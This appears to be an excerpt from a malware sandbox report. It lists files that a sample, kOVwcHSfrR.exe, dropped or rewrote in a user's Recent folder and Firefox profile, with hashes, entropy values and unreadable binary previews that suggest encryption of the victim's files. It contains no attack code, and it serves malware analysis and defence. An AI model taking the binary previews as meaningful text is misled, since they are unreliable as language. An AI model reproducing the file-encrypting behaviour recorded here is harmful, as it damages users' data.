Preview:	WSHEJ(...7..~.@J.D.!.u.K(....g.9zu...7..N.B....x..#..(`._ ....)..........U.....d.NN./0....:`...(........N}..%../....P...c..5.d..g....;.l.e.....0.A.-.`{......`.nk....!.....3z...1S.hsV~;...C...@'....}..]...l.......GVi2.G.........&.....T..tm.......{8...7..Mo.P].i.....N..p.Z.L.S...W....-....Kmp..~y..K...........o'.O.=,v...J`......g"...^..1.Z..I...V...k...ow.p/JG...0..A-....'9..b...>..l4Mo...).w..@u.7.7....9/.. l.8E.k..1-..Z.{...5..8o.......jr)..g.U..L.A........].17.....;E.....d.........\|....b...(.{.._...H.9....T.y.1y..f........o.M../.3#..#....CR.r]oC...S..n...`U.\.....Xk.6~(f..=....g9..........:....to.}0...P.J.m... .?F......xI......Z...C....n.&.&\|.'{7....3..B....~.b#..w................x...?.B...2..JE._....kD............_........-.......n.H..PF.oU.C.... ..v3..7.(.-[.6..T.E..U"0.I.G...q.k.T..o.]......o-m.....>....<./ng8.b..1.lC.J\\_.tKT..i.WB..Q_...\...D.....i..W5}....D.......W.v..C]^....H.?s..\r..'.=X...>U.+....i..$*,{\..YAM...d"6."....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WSHEJMDVQC.xlsx

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8348998761466095
Encrypted:	false
SSDEEP:	24:UJSkNUUvcOik6+YPDKsm3ZGRE3CToYJG87Geg3qwTQgx/sSKr6xmvYw1bD:XUvVirasmpGRBToYIy7g3qwf/LxmvYyD
MD5:	40E3834142C379F739104563C6A02509
SHA1:	23A0A90A88302899B10DBF2D6FC3B18288432EAF
SHA-256:	6A6568B87E8B57B58B28DB4868C2C34AC1B3A864E2AE3DF48BE1B24FE3E62EF5
SHA-512:	6932ED6A681CA65BDDFB5BE56455A0940E8D1B943CFE71E96F5FCA864B0D8313D5090A0E28E924DCDBB5E5A1B6CF7FA29518AB42BCC5BAAC75D1475CAE040343
Malicious:	false
Preview:	WSHEJ.U.Q..}8...7.o..........T.....w1,..D 5..C...d^/z..g....3......e..\...W........x.3...#?.Hy.....u.....k.Y..A$.<.....U2.@...]x8.Q...N..5b.nJN...Q.h._..t....K..7.& .7F/.......&.f.<._4.)......6..SrL..#.A..P.\.....J4/...e.5PX%.m...........C.w....yy....D.Vx.u...........Z&..........l..`.34..J...I".`r.(......-...0.US....YG...gw............$........:......]S\y..I...S.J.P;~..u..k..x..9.....2{....FQ...%...N...;_N.....O.]i.7R5.&p.>.n.._..6g<...Q.....6....?...U..U>..5...v_..d....~...+...3........"{..X...N.r.&..i...Z.C.Y5...7....Jm^phU.7.C...U...zT.3.-...1.Ag.&......JE.y}.!.u7..O.(.....u!.v..MW..:..._....t.`uw..6......B.N.c......Xq'...\|Q...!...`...+.t...L.............T.J..1^'.:..4.g...-.ft.^N..&.'O.c4no...(........r(....j.7D.Q.j.p....m.h.....H...qTI9....~.gi..Nq.c..m.;...1Y..M..J.~Ue...........,.=...6.O.......}._...e.....N.\..tO...3...<...m#(.H`........`...$mI?.>.r.F.._...:V.h...H.u1....1.xi.Fc(.u......LEXQ...@E........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WWHKSUKVTC.mp3

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848748584193292
Encrypted:	false
SSDEEP:	24:B52nZHFX4DBlydfwtFsQA+RtN24eh5flRglF0UZMni3sxbIFgvg8w1bD:a5FX414AmQHto4eTt6lFNZWqOyD
MD5:	0BC09DF17FCF9123B94753BA9ECE06C3
SHA1:	31CE27E82B8DBF8E27A5C8E55A1A9378252E8FC8
SHA-256:	92E79F78B29C348CE860573F279115D73A15C5F08E882C67FF34695A88CBBD5A
SHA-512:	C924039243990817C121B878DDE5CFEDF4F5414AACF0B31F7B1199C67257F76501A5BDE8619BFEA125091362E873D24089712DAC8357E1823ABAC26E4889213B
Malicious:	false
Preview:	WWHKS[[.....fm.:z..98B..P(....\|G.`...QRFj.3TV,..f.:..%..7Y.6.......25Ag.....-..k.X&...Y..>...D..D~...n.m..c.9XZ.6..k?k...9..".nl....ai..T,O..Y.E=T........A.fLw...~r"%M....S}.C.......M....I.:..2.rC@xV}A....3...o&..J.kk...r%P.(...XnY.c..~.. b.`.....$....Hwp....].#%..q..UAv=lir].......MG.k. R.......N.....PF..7...W..S.#T.8.w."4.c...&.`4.c.....?.&..V.f.\|..F....6^..C.\X......W.m......9._.7.......f._(.........G..,+.S..7..c.75Q.Kv........d.+;.+....1B.\.;.h#.dP......7..1.9......m..3.~.....<.O9..{.G..N......t...B.g.a.+J".z...r5....7.jh.$..T.2.X..B..(k.......>..X. ....l..K...$&.+../.....U.(u}.0t~.;....o...6.{<.._K...NY....O2[.$.....H...Y...u`D)d.?.D..#\]1.....uFS-.....5at....^\|C..g....&.x..%...Q.Q=}f.sS...f~x.UR.x..>........?L.t...w^w......%HO.......v...ok.-.j.G P.....1.....A..z)[$..J..oB(3.!A=.d....d.../.....R$.P]......M.&.@..+l...x..a..$.i8........3..e.'/.g..b.=a~.> ...l?.zW'.."....^.)...i=..\...7.WO...S; ..y.........k...:B.f.~0.+...0..^..~.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XDPQCPDGHC.jpg

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8481690711184795
Encrypted:	false
SSDEEP:	24:q++AqPd1EEqej1bO4X+GwmE34DE3EC/HGcTusNWHqeNhd5Ggd7Gs1UP8xdtw1bD:qpAqPd1fqej1C4XzwF3aEPruS8/TCP8g
MD5:	DD9C2BE7CE982BA0D9C31C0D19694ECE
SHA1:	5A9BC9618E229FF287D9F56511D18F3F15074927
SHA-256:	CF649F7EE2C590FE60E7D56719D869D066DD93E34DD95BD98145C5650E890981
SHA-512:	5EA573546450C9292801CA009E460AA7392C643DBE8453BE567E8A2B0E4F4EB5EF62A57E2B12512F26D07FB188AF9E6D5CF853F7473E9E3CC3473BE68C7F74E9
Malicious:	false
Preview:	XDPQC.I% .=p.fV..R......a.....v..!r.........W..(.....D..EyQ3..ya.u_..<8PD..\Z..r.{....p..\....zx.....6_1.r.....-!..........V>..I\.._.Z[.j....ctX...+Y.....9.M.A..gV].B.0..L..z../P...Qk..n'..d....Lv..N.S..(>/.....}..-Wr"..."J.j;\|'1..SA..mP.....4..r.2......]}..m.3..4...Z...[.T.gJ.(,A.N.z.:.E.r..j.v...x..\.F.].o.~u..C#....j.x.6k.". ..4..x&Cf../..g..fu..Y\.2.p....n.u.......T...J.yji...8n(.Y...~....<..-.]...'.`..7'9I......C"......{.if...o.H.?Y.3.J.....7.&.Z...)u......".......2\......$..RPX.{.......]Nl....j..f..._].[..m.t.....<.....B...S.*..}...1.r."g.D.>D......)A..9.dW.D....fOLo...4.R..I.:h..jn>..=.\.dh.."....h`../..n.l..T.....Q.$2V^....g.'.%..._...S...L..$.oU...R...V...mW..$.^..v......'.D1N5...`../wM&'.Z.+.s HB....8....r.f?O.g.\7a.l...N.l.QenIHEX...4}T.....E.....1'.]...$.d.V..R,..Y0W.y..@..;xm_LT\|..nIuRP.....r~u.Y.Dz...N...#.$~.#......D?..zt..4...98.H>aD.>..J.qZ]...gI.+ak/.^.a:/.q...KM..^QE........U.......DRi'.F..R+..V....0.5.. ......P...&@..i7.....o

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XDPQCPDGHC.mp3

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831451011492696
Encrypted:	false
SSDEEP:	24:7r0Uwb7sRybW3Soz6qBCDuFlqMjKMQhuSeRi0bkzvwUswUyxqRtuUhqP2w1bD:n0UwUrHBQu7PmFtnn0Rdk2yD
MD5:	9CB56FDF56FCEF7CDB2E571F78B2338C
SHA1:	B5EB904B5E5554C3D5E37B0AA2DFBAB0909DAF53
SHA-256:	259A4CEFC74166C6E88C2A3D539D81F769FC9F597069629ED947ECDB795CA67F
SHA-512:	1EFB141A9158CE853D82670974569985FA0D0CC33DBAE66B1C89F04C14FC7A5BE9E4C15C3D9274C0F0F7776F689DD357D95B37A41E44E27C90E11D95B1678ED9
Malicious:	false
Preview:	XDPQC...X..>..s.o.f+...{...je%u..s.IQ...&...+dc..m.)............7..}E,AeOB.....d./!.&O...f..O..y.t.J..8......cH..Y.V.w..3.p..2C...s)....h........-,..\..-..,..f!....8.....w..f.b.}.Zq.K.fU.3.soH..,..H.<.nd..p..R$.Q..-.....z.K.q[..5....x.x=.il.3b...iL.l.,..5^rN..GS@.A.......a......@_.U.8....Q._.zG...Z...........rUs..h?.Xe\|x..,d..14.{qr.9Z...w#...@Y.~.O. "..Q......>.iB_...}......A{'..[..?...bH-.%...E...o.._?...(C.o]$.V.b...%..m..>Hb....4\az.......x......A..6...05.]DYv..........hz.`"WhO._..i:...n\l.Dz.c..C..H...,...&..sn.1.....3....I.o.W!i...c.:....r.l.2c;....../5H.Ue).o..7%Jr.1....dCg...b`..3....<..X...-Bq.f....?...xY%..@..i........_60E.n..k.x...D.W..)yZ.u.k..V..;B!.7.K...Y.:in.p.?..`..}7..G....QF.~~]..P_W1.Ke.B...88W.y$..JY.2(.}.><..r..d$..7...6...H..@n..S_.8...}+8....-j......OF...#...$....xk.F{6.Q.A#...,..@.f!..l.......1oQ e*.\.z.dx............R.7.9..e1..../.v..W.,tN.f%}. ..$.C..C...J.z}..}.+..R.S...1..L?...q...c.x.}....,r.S.'...'.=~

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499493064.1fdfcf89-70db-44d6-a79f-5e3aaf4b4005.new-profile.jsonlz4

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4211
Entropy (8bit):	7.9547329448089945
Encrypted:	false
SSDEEP:	96:2Tx4GA/ClhQdxLNRalho1RKJvKMXsUi4T5IATjxNZ4sIa:2t4R/oW/alS1RKJvp85QTtd
MD5:	1E69AC8FCB27D35C61DF1DC5C6068D53
SHA1:	7A9943E25166ECCD436F95A35834506945CC5F06
SHA-256:	093E931E75FD0BFB4146C7D1DF399754177D0EECFC7C7252065FE8A7A891CEAE
SHA-512:	7B1DFB6B21FCC8262E8BBE0D51E2E4ED2790E98D41874EF7AC143DC51549E11D9E2420826F36FFDE58D33B21DA7ECD644B40005A0A9F3BF43D3009B25DADF093
Malicious:	false
Preview:	mozLz;..g.d.n..C..C.VK..x.K.+f=.K+....!E........)b@.?T.Sl_...S.xb..Z.t.I...O..$M....i....:...."r'.l.oA......u..lD$.....q.....D.bJ..".{..>......p.H..v.=]V...J.9..=.6..QY+s'.}..Y..N@F........./.&...6F..^c...h...i-..ji....j.....k.&d~..r........t.....o63...r.....^lL.Ai1J.S.......G.<9<Q.$.'.......J.....".....dI3....Z......:<+..$.....M.3......>...".<czER*..^h.o..e.N)....g...c.QP.2.......h\.....q.ZX..5..z....SN..X@....g..8..D.@.QX...B3.kVe=./........N.[g.q.:")#..}...........c......Tl".E....wR........B....K..C...>.......W...\|..u...t..8...=.V8..c..g...O..\5`%tZ.....M''....T8..."....\!..U1.a...(8&.P'R1..T.!.u!it. .3Y"........t]...."....H.~...._..J..W....$..q...OE..\|+.....C!...J...'..] .h..s.~.}..}.:A.7T.....{...2U..IT.5......nO.1<..+h..ZH...I-...-.0%..U.j......A...}.....tN....ro'....r....hU.........X....9....q1....0.)V..8..........\..S^.L.XBd.....:.....!DtN...o1........b..m.`;XK..M..wX..K}....L....^........\..o1d......To..x..sZ&.!..i#.Z.k

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499493076.537c2d56-4d43-48f9-a98b-f5124a51bc81.event.jsonlz4

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4574
Entropy (8bit):	7.958663993008928
Encrypted:	false
SSDEEP:	96:ZXvKVZFrg+uzwutaJpou/hT22xyVoSEvYgUh8QU7v5a:ZXv8Jbuzwutaz/hS2xmGYgUf
MD5:	47CD0B81519226207E3F0BCAAC27964C
SHA1:	6E057DF19C40BD1E8B7B7056FAD8588E8264B01B
SHA-256:	6FF3CA637673947B73248E1E7C8FBE066BCE117798507B92E9E7E95436CD985D
SHA-512:	C09554D84140FEC41854FF2F28DBDD0A5B9077AD5F3C653402D3B00CB772A1D2D71DECCADAF5C444672DC3461D32D677F5F150B48220AC3B7C54EFEF9D51AADF
Malicious:	false
Preview:	mozLz.........?.h..Tj..&.\|...dS;.}..Y5;T;.}..I..B........u3..p.'%......D...Q...E.t...,?.g5m..j...W.....Q.4.\s.......eS.Xf8...W......Z..^.q.h9.P..9.Y#X.QS.47....-.+V..h..7DR..-Q\..d.H....o%...O.?...h....../I_.aD...ODW{.u...x.[..D.....VQ=hfs..B..._(3.m....m..h..L;..T..?..tzh...V.#.....#.........E.48..).:.....(9^kI.<....?.O...a\|V.,.L....{...=..A<. ..~&.X.cN./A,.p.[;Y....EK..4o....i..,Ak.&l&.;&...AEr$....8.z........[......A..M.^.g, rW.z. (.PHN.i.6..\AQ....D..qm,.......W....E.8.......O..^.<u.......#.V..6.CCS[..hK.Z.Es\|m8+..w....e......dDu.......2.C.K.).8.u}@..-ao.uD..H..8.@..e.U.T......)Jh..f..zi.mw.\N].f..FE.U..Pi.)..6mu9[)...........\ .d...$....@.....\..%......rS......lY.[..i.......] ....9O.6Z..K...8a.(...^.k.R....~X...l3..%q.w.t....Xw..,..yq./.....(ly...)..7...Bis.?.'...;>...,V.<.......m..[}'....D.G./....b!5.x.x..k3....t............3c..My}"..8....aTd.ic.t.S3`L7..\...s..uYG...t..tu.u7.......)..`..>..x.6......)....Vc..S.$..M#...@..l3...N.<)b

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499493080.5bf0a14b-0281-4d70-9b35-ffc28432d5f1.main.jsonlz4

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	18509
Entropy (8bit):	7.990635929880907
Encrypted:	true
SSDEEP:	384:4JnbtH/KlE3JQK4mozEz/U9Z7//1MSM9v+e4pEV1sa5w:4JnbtjJH4mGEz/m7CVUw5q
MD5:	CD401E698BCCF2C967FCA6A6C2D464ED
SHA1:	0500065985972CFD608DF29A2E0F9442F98E8ABF
SHA-256:	9B8EE91668E2C8D270CF3456645F637A6580AEA72DCA581C7B48BA9C7EF4F12C
SHA-512:	744D679D6DC16715157EE2D0A1EF2D1E4EF2F1A74974DC7F8BB2592315C00F54D2A652BD3DB9AF6B0C93B29B0D28D38C27AB4030935825D08C67AFC65086DE8D
Malicious:	true
Preview:	mozLz....K...;.i..r.l.]&.1........'...Cc.M......;.].,..u4v+..........mvRQ............M....=..n...a..V..9..I+....g:...\%...xl;$y.......tY.L..6F...9j}......)...k.y..Y{...}.d..)........i3.........y..-.p....\?.f.H...0........`.......}C'..x....<.}...........~!.....w{.e..R....._v..C-zI...i..+2G...r.+.b.7.:..A......=..\|p.......-.`0Z......Q..$.Mn...8.=%.g..+/.7..+5..g.!("......'...!.^2.....2IRUHE...8R.?..j......kG.C.?.#yp.i.....u.p..V.../jjZ.a.x..{...8..J...TY.K...F...g....hz#....5......a.{.....6...Oi.o.[(tV.u}...hX.....yz.a...d.........k.@..(.;.........;.....Xw.(..'.1....2q....0..e....eZ..-....T..J....da.B. .O..Etw...\|.9.%^^0..J.L...<..t...9.b.7.T.V..e.1.pc....)#....c.;.J9`s..uS{.i...)..PFz..........L#.;&W...D.M....gs..D.;...Yv....$y...\|9....'..^.C(!.O......N..d"....)!..=...2H....$.K....? c.\|. 1..c....%..).qz......DOph..EJ.q.Q..c'W/....$.....}S.T..E....Y._.{..KPt4I.f....x...........Dwb.t....]...Y...dnT....0.w.5Z....bb.uac....2...oC....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499493081.f660d059-6f2e-4e72-b06a-df12c9ef02fc.first-shutdown.jsonlz4

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	18510
Entropy (8bit):	7.9908052814147785
Encrypted:	true
SSDEEP:	384:6b9aR6CmABks2xBBBkenxop7ndZ9GnT82D1GPiOh5dFDLNA:6BaRXmACsyBBBRxop7ndZQT1U7bLC
MD5:	C9B930566228B65166EDAAC7AC5352F5
SHA1:	5C47DE9F54B53EC21A601FB21FD2789035DDEDA6
SHA-256:	E389904D94F8549B48CD9F00BD0FE88CD4D90B66A6D3DFB9E202005E530FE4E4
SHA-512:	222AEEDE29D9043E5DBF62F14A70A392E6B2FF2D87F8086EDF26208C7B25791726E0CF79D97A547BA8FDB442F1F55F40823B29989510F675B5E3BA3462E998B0
Malicious:	true
Preview:	mozLz...I.]+..Z{.v]. ...\|'....l}.\Z...,vd......`Z.....$..yy..........%..p.>.V.1....}...E.....GT...7........(d...Y.....H.e.a.6.i.b.W......3..p.....j.kT...]\|.4Y..bE..h...-(0.!%..(<.z...6...M............)...x.<.!.....N..W-.....#b.E....4J....?=..R.....C.....-2./......ra)...i.......a..c.g;..)q../.....2. .j..:.-..[.v....)c......yI..W..@~..F...n{.^...HV...'N.....^..Y..2' 7p.....(`f..ly!...Ul...}4g..}.{([X..K.l...q.Y..`.d]X..c'...^4.u.gO......@.T.z..;K-.(.`.......N-.IgD.&.......5.2.>...x9LN7.....d.Q.t.I..[..b....\|..'KCn.....e..(h=..{H.U.W..kq.N.g..G.{.........PY.>.....i...-..c.._....V.../\..,\......^...H.D.ur.zB.P._...q.3.......vN3._.............T..W-...gTC..=..Z\.!..&l......B.Y$R$P...PB.\|@.SR.'.i%U.8........dP=.../c...q'...o%^>..m.#:X.9<.)..\...!....>.y......(..dy..,7.(6G.....Xe..... a...I.i^V..!9Uf.w...d.i..fT4J._.bx..`m..A.o..W."...^........UH:.G...._..A....u...9.{$.....64..*.UZ._.p)qe...i....q.$...-?e^.....J.9;q35.f.F.`.......f.g.4...._~\|.^.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499497797.7246f3c2-1d10-4546-a55f-90f67de31b41.health.jsonlz4

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	777
Entropy (8bit):	7.682504411684913
Encrypted:	false
SSDEEP:	24:m6kacxsq0KqyiBEsPuq+fI8RaTRpJJbFMqTEaHqmmdw1bD:3k2ezPpgeYnHb2qnqhdyD
MD5:	58315800A052D8611307ED81DC97A19B
SHA1:	0047585B17FC42F20AA46AD167072BCF97EB4416
SHA-256:	9BB4C241593124B935A4FF864CA085DB3C7306F3340C55C15A3801CB81F9299E
SHA-512:	4584558CFD8FAC417E56C305561AE96B82902115A9D475DE9E6459F59B818128436D994AE5815CCAC4C2BF70680E406AA37871C4708019C4535D6B3241637B2B
Malicious:	false
Preview:	mozLzb.. ..a;(b.>....R?........k........%V..q.._Fy.30....i2....f..T<.......<\X.P.Zj.=x!~.......\...'.).w.5.M5....$..W.a.)...1h..{..f.X.....9;......}......._...$...JQz...t.I0..3..S.........gDI..)..^. .....~pk.B...W....._7...4_.l.. S\|.&Z.......?Q..} T.~{.Z!.QZ.\|...e.Y.s..qr2@Z...g........hN.d{E....Z...H..L...."B@.NJ..)y..'K.C......_.T".F........\|.)w......B...m...........<..BJ'$..q.w.;...K.......\...h........I.^D.b@..c.>;.mJ...=YO..&X..+.>..._...=.$..F.............B.9..T..SmX...`..z=^.\PQ..u..FJ..\m@."~..Y..i_.8)s..2<vC..V9.......0.....Zh......../x.sCh.T..%}.;..h..9R\|b.P%....F...6..U.s. .X.(....L.f.s.$Vb..F.\.2.gF."...<`...I..I}...k!.k._ogN...a.-..0GTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499497813.505276a1-de43-4b25-8ccd-2ecebf69eb53.health.jsonlz4

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.711758519062582
Encrypted:	false
SSDEEP:	12:7htLZ5nIHaTAHGbREpS7uVW9fF51mHVZkA9YVtTShWTv2LeNlAoqw1cii9a:dtnIkAHKKpSS89NyHkuYVtTSoTIw1bD
MD5:	4D8B194A73A92903765D348B55F45EA4
SHA1:	6C0AEA72FD6F76271860A0F7A0CE901BF82B1FF2
SHA-256:	6321BA50F062A978E9AB7D638E0584FD812A5C02672E964F9D890FB2D2BF3467
SHA-512:	99D22AC4BE5DBC7BEF0C7BC8A8F57DB289D58828027FE9D26E7F673FA43C4B770D6DE3D7AF90AD355C3595C7EC4C9D0E88D68788499C3D55B81B9D9324C5163A
Malicious:	false
Preview:	mozLz;.T..Q.H..X..t.....{.1..Q....b.1....(.n...6'8..Fl-.........A.\|....._.&o......<..g..1.H.......^....]o.U....m)...O.....ou0..~'..EL.+lOCZN....]"..."'..Wx..6..'D.ba..P}...:L'.Xi..."..}r.....d.<.&....=..S..p.t......X.P.\|_...~.K)...i^....,.....Z..X_...f...A.>`K..L..WV~..e>~...p_...].qJ....[rSRe?i..s.......A.,./.l...<...&..I.4..)dv}#T..0...9[.>T..p..dQ1..]...Z.....;:... v_._z...HL.._$..b.%..".w.D...x.Ji.H..e^.W.a.*....e;n.7.d.._r.g ..+.........0Kz.......0..t../.yB.q."ik..xZ. ....$........h.e...l....h....[P...N.K....6.....0..P;..y..$.g..pm.......B-...N.Q...$....[.\| .F.?[oE@/.../a?......~..(.b...c.[F.o.$e..u...>%>....\H...I..M...pj..j.m.q..4.'V...=}...j-.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499497813.5bfd2570-f400-4e52-b6dc-002ad477b461.event.jsonlz4

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4574
Entropy (8bit):	7.960310994106623
Encrypted:	false
SSDEEP:	96:MAcsZGa80xKOK0O8ZNIO0KNxz+x33+puaLBm9Zg+4V0UoNCCOa:osZ60xKc3mYwxe8a18ZikNCM
MD5:	E5101069AB30CCE498B2F9031BD6361D
SHA1:	33289731A13BD272791422A1097C25CBFBE51BF3
SHA-256:	DF343CAB451A2D8BAF26577BA23B1446BEF2615A6CDA505B40EDF4E224A2EE65
SHA-512:	569EF51B2E1B285856BFBB647AB9A12DC7DB0ACE48FB17B2CB5607FA34CA72A8BE6914C417453177BAC37D629DA6DC36ED2F7ADA8ECDD2CEB85CBA30E0211DBE
Malicious:	false
Preview:	mozLz.r?.\|Q1.Bg..."....kO.\.T"p...T.{Dc#IG.n..fV....!.]......\|.K.u5.I.1.]=.+....D...;.....J[...Q.z...J.]..p.v.].Vn..EC..l.x..m}k.p~M.a5..G:O...;..07`.l".......]....W...D...iD..I.........Ps.....6.._...-YH_D.......B.._$.2.>k....o...M".P.n..S~./.d?.ag.~C..GFZ8m..~a.K....A.....^.I.zC...l.....f.../....>.....1....+n..(m.......YF.....i.D..t...0M.).........\|D$Qk.?.%..G.\%vL5...G..........Vk..%....6../r.............]P....u..=..cke .n.^......~....0..\|....:.Ov7...L.'w'.g.A\|.X...R.H.".,a..\.6...ql.Y.m...:b......y...d.Z..>W .V>..^.NZ...^?./SI....<#.%!,..6...y.7......[.....@>T..9..M...@P..sp.$.G...].......R..6.L.FOV....,2F.t.&.v.7e9.......cg.T).'.y,..a.b.............+U"...q.W.....g.4%A..>..K.G. ...+..r.....(:......V:........B......uEJTD8...?..6y.a..\q..{x...9.^...y....R...1.....gg.<..l ...M..M.<.d.Q..\.i6..^q....7.X.Ez.A7....y...q.$..4....4.......HK..r&.eU"z.#.Q..@!.....(.....f.b.....>..@.D8r!..y...Yo...uX...B+[.J....4f.em..8......p.j_.....5I..u.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499497826.a275b456-884f-44cd-99f6-41f5ee4092ba.main.jsonlz4

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	15464
Entropy (8bit):	7.986086269406417
Encrypted:	false
SSDEEP:	384:O/HT4CnNh8jD7uoVQnJbwBEdf82/zmtFcNHxhOX2dZl:OPT4CnNh8X7laJbsEdH/qtFcNXOX2Ll
MD5:	1F110ACC5649356BC7EBE1D0D6E48F20
SHA1:	82DA9BC27DB443A5D58603172823B765A93C0D86
SHA-256:	1033D73E09AAF6EF5974D2E1035F120CB66EF2E5F9E9826CCCC721B6DA143DAD
SHA-512:	31E3A6CD111DABF4963AF9DBCAD6455EAC140F6498ADAC7D5D83A91040EEAF0BD84A4E569570BAF8613B4A0F3140C08EACE9DC03245D2633CBA422384793A834
Malicious:	false
Preview:	mozLz.Ux...5c.. .`..NI.e..f........$e........]b..g.r3r^f.G....r.i.X....t9z..xMD.H..'.m.<.d.)...G..{..8....{....#...""z....xa6..1..8d...c.C..G...1..2W..n.j.(rf....d.0...C\|.>7......+..qe3d..n.g..(...z.sp.3....>..M.+8..;lI:'.#2.Xe.....C.^...7.i.F.7....\|........DZ.6.".%sN...9.o.]......3.Y...I.!.hxv.M?........V~........<!2...h..^...789...Z..0N.....x-%...H.`..]%.a.^`.#~....]....C..z#.L.:_ej..]..>q.{Y ys3yVY....`.w7ndF;^..;..?.....lf4....a..{..8eU;.~N.....{..o.t.k..Os.8\|a.-.....w..4@fmc.[..`0...).y.=H..S.......Jw...+..<....d..m..T..!!.<".....3..xe.1....O...I.(b..++`x.....DH...p^.u ..J.,;C.....R....7..D.7.........a...q<.....,....8...6...8...%.%>._D...E..z7..o..{.K0...4.-..8P..).f<1V......\....%.<......-y..a]b..-......m.u...$.q...`q.w...K.....=(5O...`.....fsZ...^....Y..yL.N...!J..qY..R.zD6\|.D......2EZ.t$..*......g........8..;sd.........a......b..G..w#...f....Y/)Gm>X....Nj...L...).K..z.I).....{...FN3...."\|^......7.../l...#....Us;..O.....}..H..Y.eD

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\glean\db\data.safe.bin

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	13645
Entropy (8bit):	7.986881023017127
Encrypted:	false
SSDEEP:	384:3nxTOJpGrdJWLpnwBW6aNMaBL1TJuCaU1rZ:hcETWRdMal11umt
MD5:	8E848DE976415532A99E3215E68AAE4E
SHA1:	AFD5AA98025E6A796CB394BAE2F5663B48F86852
SHA-256:	1C1AE348FABFDDAB0BA1B65833F8893AF74256E39E8D5E1F9D67B7B81849F06F
SHA-512:	02F598258D328FB8647C0578674FB97EF78DF9A775CA10B460ECA8B7D8B8E8C85A614EBF35AE813453F394C2BF5C64AFCE4804FF098BCB53FE830709FED65220
Malicious:	false
Preview:	......p.U.0....A.T...X'K....i.....S.eN6..>A.x.....\..2>.......%#......w;.!.. p.nC..-O\..lb.........$..NY}n...VHb..A...[Q9)ES.d...5?.J.....!...o.H.u...5....NCv.0"&.....4`D.G........q.S.}..8K......Y......,.gJ..\S....7.,.....x.`.8.a..........?..b...z..F.j....i....'bwRv..0...7... i0.....^.+..Q...>Y.j>y.yJ.KL..y.IP%dB..w....5...r...C.D..K.~...fm..........LN]........q....Z3.]......;..j!..J&.P.3w.....`(@4:G..Z..D(./2L..........Y~2..9....h5.u...........36Q...$.J.>.6..g.....C..Q..]\|..y..0N.\x.0l.A.w.b."_...rr.[._.`b..._.%...TC.z;...m...mFHM.A]...51..$D..uTNm.+.. x-$.a..Lc..4......m...._.......X.K^....TA..Bq.l..W.W...Ia....h..R.....p.d./\|..C.>.D....W...c....m...O..x.'.En.....ft..'..g.2b.{.U.U].S../..Y..h...@..j.Z..F3.%.,..>%.N.._zsq..=~...^.yfX...z.av,....L8.....Pb6R..-Tf7.......6..=f....X. ..N.w..6a..7-.25..g..3....e.....;.$.%..c.........'ve.L...kcf..\|.&..).+..Q.c...j.^.+T.j..B!D...7.g..v.....Y.G..N..n.^...(.l/..a.@...:...]...d...c...yL..Nd.{&.p..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.453926123416582
Encrypted:	false
SSDEEP:	12:YWrnU1BMOdl4zxtlImyIyhg8NNjnJpmZUOf6CNol8yunCbmoqw1cii9a:YdAwatlImDq5NNrmZ/iP5wi2w1bD
MD5:	806BA2EF1143AE433F630D3260D5998C
SHA1:	B3C1D8018C5F9AF237ADF85B0A6F0A7918D6C364
SHA-256:	9CC20A77CB901B22EA562D2EBA105FDB0E153C8745EEB5AD0CDA1FD225A2854F
